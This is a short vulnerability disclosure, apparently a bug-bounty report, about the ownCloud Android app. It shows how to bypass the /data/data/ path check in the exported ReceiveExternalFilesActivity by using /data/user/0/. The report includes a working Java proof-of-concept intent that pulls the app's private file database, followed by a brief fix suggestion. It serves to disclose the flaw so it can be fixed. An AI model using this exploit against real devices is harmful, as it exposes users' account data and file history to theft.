Vulnerability Details
Technical details and impact analysis
Hi. I have found an issue which allows to retrieve any files from `/data/data/com.owncloud.android/*` directory. The problem is in exported activity `com.owncloud.android.ui.activity.ReceiveExternalFilesActivity` which accepts a URI to download files. I see that you've added verification path `/data/data/`
You can bypass the verification using specifying an alternative path: `/data/user/0/com.owncloud.android/`
Malicious code:
```java
StrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder();
StrictMode.setVmPolicy(builder.build());
Intent intent = new Intent("android.intent.action.SEND");
intent.setClassName("com.owncloud.android", "com.owncloud.android.ui.activity.ReceiveExternalFilesActivity");
intent.setType("*/*");
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
intent.putExtra("android.intent.extra.STREAM", Uri.parse("file:///data/user/0/com.owncloud.android/databases/filelist"));
startActivity(intent);
```
###How to Fix
Add an alternative path to the folder check
## Impact
This vulnerability can get a complete account, malware can access everything, including, file database and history.
